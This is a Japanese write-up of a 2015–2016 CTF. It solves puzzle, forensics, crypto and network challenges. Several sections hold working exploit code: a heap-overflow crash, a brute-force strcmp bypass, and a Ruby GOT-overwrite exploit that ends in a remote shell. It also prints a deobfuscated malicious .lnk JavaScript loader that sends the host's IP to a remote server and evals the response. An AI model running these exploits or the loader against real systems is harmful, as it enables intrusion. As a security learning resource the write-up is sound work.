2015/11/16から2016/02/07までオンラインで開催された場阿忍愚CTFに参加しました。
2番目に全完して2位でした(*´ω`*)
詰め将棋以外のwriteupを置いておきます(`・ω・´)
101 image level 1 (練習 10)
上から順番に画像を繋げる。
FLAG:START-YAMATO-SEC!!!
111 ワットイズディス? (芸術 33)
ぱっと見で読めるのが「大和世?由???」。
「由」が小さいことから「やまとせ?ゅ???」では?と考えると残りの文字も推測できる。
FLAG:大和セキュリティ
112 cole nanee? (芸術 55)
草書体のサンプルがあるサイトを探し回った。
FLAG:忍
113 Lines and Boxes (芸術 222)
よく見ると漢字の各パーツがアルファベット。
FLAG:wordplay
114 Why want something more? (芸術 77)
「如」だけ読めたので、3年ぶりくらいに電子辞書を開いて「如」のつく熟語を調べまくった。
FLAG:如是
115 毎日使う (芸術 111)
草書体の部首をまとめたサイトによると、この漢字の部首は「きがまえ(气)」っぽい。
下の部分は「米」っぽい。
FLAG:氣
117 Extreme Shodo Power (芸術 333)
「氣之呼波和」と書いてあり、「キノコパワー」と読む。
1文字目を「菜」と読み間違えたせいで無限に時間を溶かした。
FLAG:キノコパワー
121 壱萬回 (二進術 100)
x86_64なELF。
関数一覧を見てみると
gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000400598 _init 0x00000000004005d0 putchar@plt 0x00000000004005e0 __stack_chk_fail@plt 0x00000000004005f0 __libc_start_main@plt 0x0000000000400600 srand@plt 0x0000000000400610 __gmon_start__@plt 0x0000000000400620 time@plt 0x0000000000400630 __printf_chk@plt 0x0000000000400640 __isoc99_scanf@plt 0x0000000000400650 rand@plt 0x0000000000400660 main 0x0000000000400820 _start 0x0000000000400850 deregister_tm_clones 0x0000000000400890 register_tm_clones 0x00000000004008d0 __do_global_dtors_aux 0x00000000004008f0 frame_dummy 0x0000000000400920 showFlag 0x0000000000400ab0 __libc_csu_init 0x0000000000400b20 __libc_csu_fini 0x0000000000400b24 _fini
showFlag
というありがたい関数があるので実行してみる。
gdb-peda$ call showFlag() FLAG_5c33a1b8860e47da864714e042e13f1e
FLAG:FLAG_5c33a1b8860e47da864714e042e13f1e
122 DxLib遊戯如何様 (二進術 200)
リバーシ。
メモリを弄って勝ち回数を増やすとフラグが表示される。
FLAG:otHeLlo_is_ReVersI
123 Unity遊戯如何様 (二進術 200)
ILSpyでゲームロジックを見ると
private void OnGUI() { string str = "_Tutorial"; GUI.skin = this.guiSkin; GUILayout.Space(5f); if (this.health) { GUILayout.Label("Health: " + this.health.currentHealth, new GUILayoutOption[0]); } if (this.coinsInLevel > 0) { if (this.coinsCollected == 1) { string text = "its_3D_Game" + str; GUILayout.Label(string.Concat(new object[] { "Coins: ", this.coinsCollected, " / ", this.coinsInLevel, " FLAG{", text, "}" }), new GUILayoutOption[0]); } else { GUILayout.Label(string.Concat(new object[] { "Coins: ", this.coinsCollected, " / ", this.coinsInLevel }), new GUILayoutOption[0]); } } if (Input.GetKey(KeyCode.Escape)) { Application.Quit(); } }
とあるが、its_3D_Game_Tutorial
をsubmitしてもフラグが通らない……。
しょうがないので、UnityでWindows用の空っぽなアプリを出力し、リソースファイルを問題のファイルに差し替えることで、とりあえずWindows上でも動くようにした。
コインを3つ集めればいいらしい。
ただ、3つめのコインがひどいところにある。
しょうがないので(2回目)、ゲームロジックを1バイト書き換え、コインを1つ集めたらクリア扱いになるようにした。
its_3D_Game_Tutorial
が通らないのはフォントに小文字がないからというだけの話だった(つらい)。
FLAG:ITS_3D_GAME_TUTORIAL
131 image level 5 (解読術 50)
Stegsolveで見ると、各画像に一意なtIMEチャンクがついていることがわかる。
tIMEチャンクの値で昇順にソートするとフラグになる。
FLAG:koube-gyu
132 Ninjya Crypto (解読術 100)
忍者文字で「やまといえば」と書いてある。
FLAG:かわ
133 Decrypt RSA (解読術 200)
鍵が640bitなので"RSA 640"でググると、ここに素因数分解の結果が書いてあった。
RSA-640の問題だったらしい。
p, qが分かったので、スクリプトを書いて復号した。
#coding:ascii-8bit require "openssl" require_relative "../../pwnlib" pkey = OpenSSL::PKey::RSA.new(open("public-key.pem").read) ciphered = open("flag.txt", "rb").read pkey.p = 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579 pkey.q = 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571 pkey.complete_private_key! # see pwnlib puts pkey.private_decrypt(ciphered) #=> FLAG_IS_WeAK_rSA
FLAG:WeAK_rSA
134 Zach! Take a nap! (解読術 404)
名前から分かるとおりナップザック暗号。
ナップザック暗号をシャミアの攻撃法を使って攻撃するスクリプトがチームのwikiにあったので、しほプロに感謝しつつ復号した。
[9] pry(main)> OpenSSL::BN.new(9810209025344919288459001371268157992704782032391464061).to_s(2) => "flag={AdiShamirSpoiled}"
FLAG:AdiShamirSpoiled
141 craSH (攻撃術 200)
ぱっと見では気付きにくいが、$ cat a1 任意のファイル > a1
といったコマンドを実行するとヒープオーバフローが発生する。
例えば、a1という10byteのファイルがある状態で$ cat a1 a1 a1 > a1
を実行した場合、
/*引数ありのcatコマンド("cat file1 file2 ...")の処理*/ void args_cat(char *args[], size_t num, struct file *output) { size_t i; size_t sz = 0; char *written_pos; /*出力結果の合計サイズを計算する*/ for (i=1; i<num; i++) { struct file *f = get_file(args[i]); if (f == NULL) { printf("%s: File Not Found.\n", args[i]); continue; } sz += f->len; } /*出力先の領域を拡張する必要がある場合は拡張する*/ if (output->len < sz) { output->data = (char*)realloc(output->data, sizeof(char) * (sz+1)); } /*出力先のファイルサイズを更新*/ output->len = sz; // (1) a1->len = 10 * 3 = 30 になる if (output->data == NULL) { fprintf(stderr, "[*] Memory Error.\n"); exit(-1); } /*引数のファイルを出力先へコピー*/ written_pos = output->data; for (i=1; i<num; i++) { struct file *f = get_file(args[i]); if (f == NULL) continue; // [!] a1はもともと10byteなので、10 * 3 = 30byte書き込まれて欲しいが、 // (1)でa1->len = 30に更新したので、30 * 3 = 90byte書き込まれてしまう memcpy(written_pos, f->data, f->len); written_pos += f->len; } }
ということになる。
この問題ではプロセスをクラッシュさせれば勝ちなので、ヒープオーバフローを起こしまくっていればそのうちフラグが出てくる。
$ nc -v 210.146.64.35 31337 Connection to 210.146.64.35 31337 port [tcp/*] succeeded! $ echo hogeho > a1 $ cat a1 a1 a1 a1 > a1 $ cat a1 a1 crash: malloc.c:2372: sysmalloc: Assertion `(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offsetof (struct malloc_chunk, fd_nextsize))+((2 *(sizeof(size_t))) - 1)) & ~((2 *(sizeof(size_t))) - 1))) && ((old_top)->size & 0x1) && ((unsigned long) old_end & pagemask) == 0)' failed. That's enough! flag={NoMoreBashdoor}
FLAG:NoMoreBashdoor
142 Ninja no Aikotoba (攻撃術 300)
最初の4つの質問は、最初から順にYama
→too
→KansaiTanaka
→Zach
と答えればOK。
最後の
printf("And the rest? : "); fgets(resp, input+sizeof(input) - resp, stdin); truncate_newline(resp); if (strlen(resp) < 10) kill_enemy(); // no, no. that's too short. if (!is_matched(input, password, len)) kill_enemy();
の部分が無理ゲーに見えるが、is_matched
をよく見ると、
int is_matched(char *a, char *b, size_t n) { int result; char save = b[n]; b[n] = '\0'; result = strcmp(a, b); b[n] = save; if (result == -1 || result == 1) return 0; return 1; }
strcmp
の戻り値が必ず-1, 0, 1のいずれかになることを期待したコードになっており、「strcmp
の戻り値は正, 0, 負のいずれか」という、strcmp
本来の仕様とズレている。
x86なglibcのstrcmp
のアセンブリを見てみると、大きく分けて
- バイト同士を比較し、-1, 0, 1のいずれかを返す
- バイト同士を引き算したものを返す
という2つの手法が用意されており、比較したい文字列のアドレスや長さによって使う手法を切り替えているような感じだった。
従って、どうにかして2つめの手法を使わせれば、誤答であってもis_matched
が1を返すようにできる。
が、2つめの手法が使われる条件を詳しく調べるのがめんどくさかったので、2つめの手法が使われるまでブルートフォースした。
#coding:ascii-8bit require_relative "../../pwnlib" require "openssl" remote = true if remote host = "210.146.64.35" port = 31338 end def solve_stage3(a) dictionary = {} for i in 0..255 for j in 0..255 dictionary[[i - j, ((i & j) << 1 ) + (i ^ j)]] = [i, j] end end result = [nil] * 12 for i in 0...6 result[i], result[i + 6] = dictionary[[a[i], a[i + 6]]] end result.map(&:chr).join end def solve_stage4(hash) # alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" # alphabet.chars.repeated_permutation(4).find{|s| # OpenSSL::Digest::MD4.hexdigest(s.join) == hash # }.join return "Zach" end for i in 10..230 puts i PwnTube.open(host, port){|tube| tube.recv_until("Let me check if you are my ally.\n") puts "[*] stage 1" tube.send([tube.recv_capture(/(.{4})\? : /)[0].unpack("L")[0] ^ 0x001a0012].pack("L") + "\0") puts "[*] stage 2" tube.recv_until("So then next? : ") tube.send([0164, 111, 0x6f].map(&:chr).join + "\0") puts "[*] stage 3" tube.send(solve_stage3(tube.recv_capture(/Good\.\n\n([\d \-]+)\? : /)[0].split.map(&:to_i)) + "\0") puts "[*] stage 4" tube.send(solve_stage4(tube.recv_capture(/([0-9a-f]+)\? : /)[0]) + "\0") puts "[*] stage 5" tube.send("1" * i + "\n") result = tube.recv_until_eof if result.include?("Flag") puts result exit end } end
$ ruby exploit.rb (snip) 62 [*] connected [*] stage 1 [*] stage 2 [*] stage 3 [*] stage 4 [*] stage 5 Good. And the rest? : Well Done! Flag: flag={GetsuFumaDen} ・ [*] connection closed
FLAG:GetsuFumaDen
143 craSH 2 (攻撃術 500)
craSHで説明したヒープオーバフローを使って他のfile
構造体を書き換え、file.data
がgotを指すようにすればgotを読み書きできる。
got overwriteで制御を奪い、そのままOne-Gadget-RCEに飛ばせばシェルが取れる。
gdbでヒープの状態を確認しながら、チャンク同士の位置関係がいい感じになるような手順を探した。
#coding:ascii-8bit require_relative "../../pwnlib" EOF = "\x04" remote = true if remote host = "210.146.64.35" port = 31337 libc_offset = { "printf" => 0x54400, "rce" => 0xe681d } else host = "localhost" port = 54321 end got = { "printf" => 0x603040 } PwnTube.open(host, port){|tube| tube.wait_time = 0.2 # file.dataのチャンクの後ろにfile構造体が来るようにセッティング puts "[*] prepare" tube.recv_until("$ ") tube.send("cat > a1\n") payload = "" payload << "1" * 0xf0 tube.send(payload + EOF) tube.recv_until("$ ") tube.send("cat > a2\n") payload = "" payload << "2" * 8 tube.send(payload + EOF) tube.recv_until("$ ") tube.send("cat > a3\n") payload = "" payload << "3" * 8 tube.send(payload + EOF) tube.recv_until("$ ") tube.send("cat > a4\n") payload = "" payload << "4" * 0x50 payload << [8].pack("Q") payload << [got["printf"]].pack("Q") tube.send(payload + EOF) tube.recv_until("$ ") tube.send("cat > a1\n") payload = "" payload << "5" * (0xf0 - 0x60) tube.send(payload + EOF) puts "[*] heap overflow" tube.recv_until("$ ") tube.send("cat a1 a4 > a1\n") # これ以降、a3を読み書きすることでgotを読み書きできる puts "[*] leak libc base" tube.recv_until("$ ") tube.send("cat a3\n") libc_base = tube.recv_until(/.{8}/m).unpack("Q")[0] - libc_offset["printf"] puts "libc base 0x%016x" % libc_base puts "[*] overwrite got" tube.recv_until("$ ") tube.send("cat > a3\n") payload = "" payload << [libc_base + libc_offset["rce"]].pack("Q") tube.send(payload + EOF) tube.interactive }
$ ruby craSH.rb [*] connected [*] prepare [*] heap overflow [*] leak libc base libc base 0x00007ff494602000 [*] overwrite got [*] interactive mode id uid=1002(crash) gid=1002(crash) groups=1002(crash) ls -la total 44 drwxr-x--- 2 root crash 4096 Oct 8 22:55 . drwxr-xr-x 5 root root 4096 Oct 8 22:31 .. -rwxr-x--- 1 root crash 23965 Sep 25 10:31 crash -rw-r-x--- 1 root crash 49 Oct 8 22:55 crash_launch -rw-r----- 1 root crash 22 Sep 25 10:31 flag.txt -rw-r----- 1 root crash 31 Sep 25 10:31 flag2_hard_to_guess_lolololol.txt cat flag2* flag={GiveMeOneMoreShellshock} exit [*] end interactive mode [*] connection closed
FLAG:GiveMeOneMoreShellshock
151 Doubtful Files (解析術 100)
わざわざ自己解凍形式のRARになっているのには理由があるのでは?と考えると、夏に少し話題になったZoneIDの話が思い出される。
ということで、各ファイルのZoneIDを出力させてみると
$ more < 7.inf:Zone.Identifier [ZoneTransfer] ZoneId=0 ZmxhZz17QWx0ZXJuYXRlIERhdG $ more < 8.vbs:Zone.Identifier [ZoneTransfer] ZoneId=4 EgU3RyZWFtIG9uIE5URlMhfQ==
なんかついてた。
この2つの文字列を繋げてbase64デコードするとフラグが出てくる。
$ base64 -d <<< ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== flag={Alternate Data Stream on NTFS!}
FLAG:Alternate Data Stream on NTFS!
152 情報漏洩 (解析術 100)
Wiresharkで見ると、pngのヘッダが見えるパケットがある。
IENDが出てくるまでのパケットのデータを取り出すと、フラグの書かれた画像が得られる。
FLAG:gambare benesse
153 Speech by google translate (解析術 150)
フラグを読み上げる音声が途中で切れてしまうので調べたところ、ファイルヘッダのdataチャンクに書いてあるchunkSizeが小さいことがわかった。
chunkSizeを適当に増やしてリスニング。
FLAG:X5kpBQJUufHdkch923SJ
154 Cool Gadget (解析術 200)
stringsコマンドで調べるとremoveme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}
という文字列が見つかるので、指示通り文字列を削除すると画像がちゃんと表示されるようになる。
先の文字列にあったbase64をデコードすると、
$ base64 -d <<< U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0 | xxd 0000000: 5361 6c74 6564 5f5f 4312 52d9 e62a 2c68 Salted__C.R..*,h 0000010: 1522 f4ce 7352 4108 7924 4993 391b 7fc5 ."..sRA.y$I.9... 0000020: df18 8b9f d8ab c53b 0ef5 389d 1699 e274 .......;..8....t
"Salted__"から始まるバイト列が得られる。
ここを参考にしつつ復号するとフラグが出てくる。
キーは画像で示されているEAHIV
。
$ base64 -d <<< U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0 | openssl enc -d -aes-128-cbc enter aes-128-cbc decryption password:EAHIV flag={Cryptex is cool!}
155 Encrypted Message (解析術 300)
155-memdump.memと155-secretの2つのファイルが渡される。
一方のファイル名に"memdump"とあるので、Volatilityで見てみる。
$ volatility -v -f 155-memdump.mem imageinfo Volatility Foundation Volatility Framework 2.5 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win10x86, Win81U1x86, Win8SP1x86, Win8SP0x86 (Instantiated with Win81U1x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/charo/ctf/burning_ctf/for300/155-memdump.mem) PAE type : PAE DTB : 0x185000L KDBG : 0x813e3558L Number of Processors : 2 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0x81418000L KPCR for CPU 1 : 0x819ee000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2014-08-22 22:03:49 UTC+0000 Image local date and time : 2014-08-23 07:03:49 +0900
stringsで調べてみると
$ strings 155-memdump.mem | grep win8 9200.16384.x86fre.win8_rtm.120725-1247 9200.win8_rtm.120725-1247 9200.16384.x86fre.win8_rtm.120725-1247 9200.win8_rtm.120725-1247
"win8_rtm"とか出てくるので、プロファイルはWin8SP0x86を使えばよさそう。
プロセスリストも見てみる。
$ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 pslist Volatility Foundation Volatility Framework 2.5 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x832a0800 System 4 0 100 0 ------ 0 2014-08-22 21:57:28 UTC+0000 0x87dc1040 smss.exe 288 4 2 0 ------ 0 2014-08-22 21:57:28 UTC+0000 0x87db1040 csrss.exe 376 360 10 -------- 0 0 2014-08-22 21:57:29 UTC+0000 0x832fb040 smss.exe 420 288 0 -------- 1 0 2014-08-22 21:57:29 UTC+0000 2014-08-22 21:57:30 UTC+0000 0x83301540 wininit.exe 436 360 2 -------- 0 0 2014-08-22 21:57:29 UTC+0000 0x83307600 csrss.exe 444 420 10 0 1 0 2014-08-22 21:57:29 UTC+0000 0x8332a600 winlogon.exe 492 420 4 0 1 0 2014-08-22 21:57:30 UTC+0000 0x8de99cc0 services.exe 532 436 7 0 0 0 2014-08-22 21:57:30 UTC+0000 0x8de9ecc0 lsass.exe 540 436 7 -------- 0 0 2014-08-22 21:57:30 UTC+0000 0x8dec3340 svchost.exe 636 532 7 -------- 0 0 2014-08-22 21:57:30 UTC+0000 0x8decbcc0 VBoxService.ex 672 532 10 0 0 0 2014-08-22 21:57:31 UTC+0000 0x8decf940 svchost.exe 732 532 9 -------- 0 0 2014-08-22 21:57:31 UTC+0000 0x8de1d900 svchost.exe 788 532 19 -------- 0 0 2014-08-22 21:57:31 UTC+0000 0x8de2dcc0 LogonUI.exe 820 492 0 -------- 1 0 2014-08-22 21:57:31 UTC+0000 2014-08-22 21:57:47 UTC+0000 0x8de30cc0 dwm.exe 828 492 7 0 1 0 2014-08-22 21:57:31 UTC+0000 0x8de42040 svchost.exe 868 532 33 -------- 0 0 2014-08-22 21:57:31 UTC+0000 0x8de5f800 svchost.exe 960 532 15 0 0 0 2014-08-22 21:57:31 UTC+0000 0x8de71440 svchost.exe 1064 532 11 0 0 0 2014-08-22 21:57:31 UTC+0000 0x83312540 svchost.exe 1176 532 13 -------- 0 0 2014-08-22 21:57:32 UTC+0000 0x9be008c0 spoolsv.exe 1288 532 10 -------- ------ 0 2014-08-22 21:57:32 UTC+0000 0x9be20a00 svchost.exe 1336 532 22 0 0 0 2014-08-22 21:57:32 UTC+0000 0x9be7d040 MsMpEng.exe 1500 532 25 0 0 0 2014-08-22 21:57:33 UTC+0000 0x9be41800 taskhostex.exe 2000 532 11 0 1 0 2014-08-22 21:57:42 UTC+0000 0x9bf4d800 explorer.exe 312 2040 52 0 1 0 2014-08-22 21:57:42 UTC+0000 0x9bf84880 svchost.exe 1252 532 2 -------- ------ 0 2014-08-22 21:57:45 UTC+0000 0x9bed36c0 SearchIndexer. 252 532 12 0 0 0 2014-08-22 21:57:49 UTC+0000 0x9bff1b80 ImeBroker.exe 2136 636 3 -------- 1 0 2014-08-22 21:57:58 UTC+0000 0x9e209680 VBoxTray.exe 2204 312 9 0 1 0 2014-08-22 21:58:02 UTC+0000 0x9bfeacc0 audiodg.exe 2416 788 6 -------- 0 0 2014-08-22 21:58:18 UTC+0000 0x9e22d040 TrueCrypt.exe 3400 312 8 0 1 0 2014-08-22 22:00:27 UTC+0000 0x8de70440 WMIADAP.exe 3692 868 4 0 0 0 2014-08-22 22:01:41 UTC+0000 0x9e275940 WmiPrvSE.exe 3724 636 6 0 0 0 2014-08-22 22:01:41 UTC+0000 0x9be89ac0 FTK Imager.exe 1968 312 18 0 1 0 2014-08-22 22:03:01 UTC+0000 0x9bf01640 dllhost.exe 2348 636 5 0 1 0 2014-08-22 22:03:39 UTC+0000
TrueCryptがいるので、TrueCrypt関連の解析をかける。
$ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 truecryptsummary Volatility Foundation Volatility Framework 2.5 Process TrueCrypt.exe at 0x9e22d040 pid 3400 Service truecrypt state SERVICE_RUNNING Kernel Module truecrypt.sys at 0x89cbe000 - 0x89cf5000 Driver \Driver\truecrypt at 0x610e130 range 0x89cbe000 - 0x89cf4b80 Device <HIDDEN> at 0x8a636150 type FILE_DEVICE_DISK Container Path: \??\C:\Users\yosawa\Desktop\secret Device TrueCrypt at 0x87daf598 type FILE_DEVICE_UNKNOWN $ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 truecryptmaster Volatility Foundation Volatility Framework 2.5 Container: \??\C:\Users\yosawa\Desktop\secret Hidden Volume: No Removable: No Read Only: No Disk Length: 786432 (bytes) Host Length: 1048576 (bytes) Encryption Algorithm: AES Mode: XTS Master Key 0x9e24f1a8 64 60 2f 3e 03 93 9e 5f 64 6a d6 2d 00 36 21 eb d`/>..._dj.-.6!. 0x9e24f1b8 2d 5b 75 8a 23 33 35 d8 82 ee f2 f5 00 68 d0 de -[u.#35......h.. 0x9e24f1c8 48 ba 46 13 bb 56 6a fb 1a 0d 4f 8b 40 52 92 44 H.F..Vj...O.@R.D 0x9e24f1d8 4e 8f 77 1a 51 e8 a4 26 82 35 ac 23 21 77 49 f8 N.w.Q..&.5.#!wI.
"secret"という名前のTrueCryptコンテナがあるのマスタキーが出てきた。
同梱されていた155-secretというファイルはTrueCryptコンテナで、このコンテナを復号するためのマスタキーが手に入ったことになる。
マスタキーのみでTrueCryptコンテナを復号する方法を調べたところ、
- TrueCryptのソースを弄ってマスタキーのみで復号できるようにする
- TrueCryptを扱えるライブラリを探す
のどちらかしかなさそうな感じだった。(TrueCryptの仕組みに関してはこの辺やこの辺が参考になった)
あちこち探し回った結果、TrueCryptを扱うためのオープンソースなC#ライブラリ(TrueResize)を見つけたので、マスタキーのみで復号できるように改造し、コンテナを復号した。
復号したコンテナの中にフラグがあった。
FLAG:Already Ended In 5/2014
161 ftp is not secure. (電網術 50)
ftpでtarを受信しているのが丸見えなので、データを抜いて解凍し、出てきたbase64をデコードする。
FLAG:XTInX69nqvFaoEwwNb
162 ベーシック (電網術 75)
user:pass = http://burning.nsc.gr.jp
でBasic認証しているログがある。
http://burning.nsc.gr.jpにアクセスするとBasic認証を求められるのでuser:pass = http://burning.nsc.gr.jp
を入れると、フラグが書かれたページにアクセスできる。
FLAG:BasicIsNotSecure
163 六十秒 (電網術 333)
最後のpingにbase64っぽい文字列がついているのでデコードしてみる。
$ base64 -d <<< B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9 MX4詛ニs?$vG7SD・カG7VカuG7Wbase64: invalid input
base64コマンドが"invalid input"と文句を言ってくるときは、大抵
- 変な文字が入っている
- 入力の文字列の長さが4の倍数でない
のどちらかなので、先頭に2文字追加してデコードしてみる。
$ base64 -d <<< AAB00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9 tミ裨Nflag={12Gatsu14NichiAkatsuki7Tsu}
NTPの部分を全力で無視しているので、たぶん想定解じゃない……w
FLAG:12Gatsu14NichiAkatsuki7Tsu
164 Japanese kids are knowing (電網術 150)
ポートスキャンしろ(意訳)と書いてあるのでポートスキャンする。
$ nmap -v 210.146.64.34 Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-22 01:50 JST Initiating Ping Scan at 01:50 Scanning 210.146.64.34 [2 ports] Completed Ping Scan at 01:50, 3.00s elapsed (1 total hosts) Nmap scan report for 210.146.64.34 [host down] Read data files from: /usr/bin/../share/nmap Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
-Pn
オプションを付けろと言われるので、ついでにいろいろオプションを付けて再度スキャンしてみる。
$ nmap -v -T4 -Pn -p 1-65535 210.146.64.34 Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-22 02:22 JST Initiating Parallel DNS resolution of 1 host. at 02:22 Completed Parallel DNS resolution of 1 host. at 02:22, 0.00s elapsed Initiating Connect Scan at 02:22 Scanning 210.146.64.34 [65535 ports] Connect Scan Timing: About 0.46% done Connect Scan Timing: About 0.92% done Connect Scan Timing: About 1.37% done; ETC: 04:13 (1:48:55 remaining) Connect Scan Timing: About 5.63% done; ETC: 04:12 (1:43:21 remaining) Connect Scan Timing: About 10.61% done; ETC: 04:12 (1:37:51 remaining) Connect Scan Timing: About 15.59% done; ETC: 04:12 (1:32:22 remaining) Connect Scan Timing: About 20.58% done; ETC: 04:12 (1:26:52 remaining) Connect Scan Timing: About 25.61% done; ETC: 04:12 (1:21:22 remaining) Connect Scan Timing: About 30.60% done; ETC: 04:12 (1:15:54 remaining) Connect Scan Timing: About 35.63% done; ETC: 04:12 (1:10:24 remaining) Connect Scan Timing: About 40.66% done; ETC: 04:12 (1:04:54 remaining) Connect Scan Timing: About 45.69% done; ETC: 04:12 (0:59:23 remaining) Connect Scan Timing: About 50.72% done; ETC: 04:12 (0:53:53 remaining) Connect Scan Timing: About 55.75% done; ETC: 04:12 (0:48:24 remaining) Connect Scan Timing: About 60.78% done; ETC: 04:12 (0:42:53 remaining) Connect Scan Timing: About 65.81% done; ETC: 04:12 (0:37:23 remaining) Connect Scan Timing: About 70.85% done; ETC: 04:12 (0:31:53 remaining) Discovered open port 5006/tcp on 210.146.64.34 Connect Scan Timing: About 75.33% done; ETC: 04:09 (0:26:15 remaining) Completed Connect Scan at 03:43, 4835.07s elapsed (65535 total ports) Nmap scan report for 210.146.64.34 Host is up (0.017s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 5006/tcp open unknown Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 4835.11 seconds
5006番が開いているっぽいので繋いでみる。
$ nc -v 210.146.64.34 5006 Connection to 210.146.64.34 5006 port [tcp/*] succeeded! <C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name.
「かえるの歌」なのでmd5("frog")
がフラグ。
$ echo -n frog | md5sum e61c8f2d759d06455723ef3bab23afcb -
FLAG:e61c8f2d759d06455723ef3bab23afcb
165 Malicious Code (電網術 200)
HTTPでp.lnkというファイルを落としているのでバイナリエディタで見てみると、cmd.exe /c echo eval((snip))>%tmp%/x.js&%tmp%/x.js
を実行するショートカットリンクになっていることが分かる。
出力されるjavascriptはこんな感じ。
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));',54,54,'|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'),0,{}))
packされているのを展開するとこんな感じになる。
function ip() { var w = GetObject("winmgmts:{impersonationLevel=impersonate}"); e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")); return e.item().IPAddress(0) } function p(u, d) { var r = new ActiveXObject("Msxml2.ServerXMLHTTP"); r.open("POST", u, false); r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); r.setOption(2, 13056); r.send(d); return r.responseText } var u = "https://210.146.64.38:60444/p.php"; var d = "myaddr=" + ip(); eval(p(u, d));
https://210.146.64.38:60444/p.phpにmyaddr=IPアドレス
というデータをPOSTするコードになっている。
pcapを見るとこのコードは10.0.2.222上で実行されるはずなので、myaddr=10.0.2.222
と送ればフラグが返ってくる。
$ curl -k -d 'myaddr=10.0.2.222' https://210.146.64.38:60444/p.php WScript.Echo('flag = {lnk is sometimes malicious}')
FLAG:lnk is sometimes malicious
171 KDL (諜報術 100)
Wayback Machineで1998/12/07時点のKDLホームページを見る。
FLAG:ソフトウェア開発エンジニア
172 Mr. Nipps (諜報術 255)
このツイートについている位置情報を答えればOK。
TweetDeckで該当ツイートを表示させ、ブラウザの開発者コンソールから通信内容を覗くとGPS情報が見つかる。
FLAG:34.0409203,-118.2672272
173 Akiko-chan (諜報術 155)
Google画像検索にかけ、URLにwordpress.comが入っているものを探す。
FLAG:twanzphobic.wordpress.com
174 タナカハック (諜報術 100)
このページにある「パズル1-2」のPDFの作成者を見ればOK。
FLAG:tanakazakkarini123
175 タイムトラベル (諜報術 155)
ここに2013/9/21時点の全IP逆引き結果がある。
$ zcat 2013-09-21-rdns.csv.gz | grep 50\.115\.13\.104 50.115.13.104,mxserver-104.blisterninja.com
FLAG:mxserver-104.blisterninja.com
181 search_duplicate_character_string (記述術 100)
二分探索で解いた。
@data = open("181-search_duplicate_character_string").read def search_duplicate_substring(length) dictionary = {} for i in 0...@data.length - length + 1 if dictionary.include?(@data[i...i + length]) return @data[i...i + length] end dictionary[@data[i...i + length]] = 0 end nil end min = 1 max = 100 max_length = nil while min <= max pivot = (min + max) / 2 if search_duplicate_substring(pivot) max_length = pivot min = pivot + 1 else max = pivot - 1 end end puts search_duplicate_substring(max_length) #=> f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
FLAG:f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
182 JavaScript Puzzle (記述術 200)
window["空欄1"]["空欄2"]`${ [空欄3, 空欄4, 空欄5, 0x52, 0x54] ["空欄6"](x=>String["空欄7"](x))["空欄8"]("")["空欄9"]() + "空欄10" }`; //選択肢: map, toLowerCase, eval, (00000101), call, (101), (0b1001100), join, (1), fromCodePoint
JavaScriptではwindow.eval
とwindow["eval"]
が等価であること(参考)と、x=>something
とfunction(x){return something}
が等価であること(アロー関数)を考えると、
